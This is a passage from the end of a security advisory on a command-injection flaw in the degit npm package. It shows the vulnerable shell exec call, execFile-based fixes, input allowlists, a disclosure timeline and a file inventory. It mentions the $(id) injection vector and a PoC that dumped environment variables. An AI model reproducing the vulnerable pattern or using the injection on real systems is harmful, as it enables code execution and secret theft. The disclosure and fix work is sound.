const { stdout } = await exec(`git ls-remote ${repo.url}`);

// ─────────────────────────────────────────────────────────────────

// SAFE (fixed code):
const { execFile } = require('child_process');

function execSafe(binary, args) {
    return new Promise((fulfil, reject) => {
        execFile(binary, args, (err, stdout, stderr) => {
            //    ↑       ↑
            //    binary is always 'git' — not user-controlled
            //    args is an array — shell never invoked — $() is literal
            if (err) { reject(err); return; }
            fulfil({ stdout, stderr });
        });
    });
}

// In fetchRefs():
const { stdout } = await execSafe('git', ['ls-remote', repo.url]);
//                                         ↑            ↑
//                                         command      url passed as array element
//                                                      not interpolated into shell string

Why this works: execFile() does not invoke a shell. It passes arguments directly to the target binary as an argv array. The OS kernel handles argument passing — it has no concept of shell syntax. $(id) in repo.url is passed as a literal string to git, which ignores it.


Fix 2 — Input Allowlist in parse() — DEFENSE IN DEPTH

Reject inputs that contain shell metacharacters before they enter the system:

function parse(src) {
    const match = /^.../.exec(src);
    if (!match) throw new DegitError(`could not parse ${src}`, { code: 'BAD_SRC' });

    const user = match[4];
    const name = match[5].replace(/\.git$/, '');

    // Allowlist: only characters valid in real GitHub usernames/repo names
    // GitHub usernames: alphanumeric and hyphens only (max 39 chars)
    // GitHub repo names: alphanumeric, hyphens, underscores, dots
    const validUser = /^[a-zA-Z0-9][a-zA-Z0-9\-]{0,38}$/;
    const validName = /^[a-zA-Z0-9_.\-]+$/;

    if (!validUser.test(user)) {
        throw new DegitError(
            `Invalid repository user "${user}" — contains invalid characters`,
            { code: 'BAD_SRC' }
        );
    }
    if (!validName.test(name)) {
        throw new DegitError(
            `Invalid repository name "${name}" — contains invalid characters`,
            { code: 'BAD_SRC' }
        );
    }

    // rest of function...
}

Fix 3 — Sanitize dest Parameter in _cloneWithGit()

async _cloneWithGit(dir, dest) {
    const { execFile } = require('child_process');
    const path = require('path');

    // Resolve and validate dest — must be absolute path with no shell metacharacters
    const resolvedDest = path.resolve(dest);

    // Clone with execFile — no shell
    await new Promise((res, rej) =>
        execFile('git', ['clone', this.repo.ssh, resolvedDest],
            (err) => err ? rej(err) : res())
    );

    // Remove .git directory with execFile — no shell
    const gitDir = path.join(resolvedDest, '.git');
    await new Promise((res, rej) =>
        execFile('rm', ['-rf', gitDir],
            (err) => err ? rej(err) : res())
    );
}

Workaround for Library Consumers (Until Patch Available)

If you use degit and cannot wait for a patch, validate src before passing it:

function safeDegit(src, dest, options = {}) {
    // Block all shell metacharacters and limit to valid URL characters
    const SAFE_SRC = /^[a-zA-Z0-9._:@#\/\-]+$/;
    if (!SAFE_SRC.test(src)) {
        throw new Error(
            `degit src rejected — contains potentially unsafe characters: "${src}"\n` +
            `Only alphanumeric, dot, dash, underscore, colon, @, #, / are allowed.`
        );
    }
    return require('degit')(src, options).clone(dest);
}

11. Disclosure Timeline

Date Event
2026-04-25 Vulnerability discovered via source code audit of degit v2.8.4
2026-04-25 PoC 1 (exec simulation) confirmed — proof file created successfully
2026-04-25 PoC 2 (public API) confirmed — injection via degit() API confirmed
2026-04-25 PoC 3 (exfiltration) confirmed — env vars dumped to loot file
2026-04-25 Initial CVE research report (cve.md) authored
2026-04-27 Bash exploit (degit-exploit.sh) developed and tested
2026-04-27 Report submitted for CVE assignment
TBD Vendor / security team acknowledgement
TBD Patch released
TBD + 90d Public disclosure (90-day coordinated disclosure policy)

Coordinated Disclosure: Following Google Project Zero standard 90-day policy. Maintainer Rich Harris and major dependents (Svelte team) will be notified. If no patch in 90 days, full public disclosure proceeds.


12. References

Standards and Classifications

Node.js Documentation

Package Links

Related Vulnerabilities (Prior Art)

Disclosure Channels


Appendix — File Inventory

File Description
/home/amar/Desktop/degit/cve.md Initial CVE research report
/home/amar/Desktop/degit/degitcve.md This document — full PoC submission
/home/amar/Desktop/degit/cve_report.pdf PDF version of research report
/home/amar/Desktop/degit/degit-exploit.sh Bash exploit script (4 modes)
/home/amar/Desktop/degit/cve-research/poc/degit-rce-poc.js PoC 1 source
/home/amar/Desktop/degit/cve-research/poc/degit-actual-poc.js PoC 2 source
/tmp/degit_rce_proof.txt Proof artifact from PoC 1
/tmp/degit_fetchrefs_confirm.txt Proof artifact from fetchRefs path
/home/amar/Desktop/degit/cve-research/poc/pwned.txt Proof artifact from PoC 2

Researcher: Amar Khatri — amarr.infosec@gmail.com, Mokksh Parekh - maparekh11@gmail.com All testing performed on researcher's own equipment. No production systems accessed. Responsible disclosure — 90-day coordinated policy. 2026-04-27.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment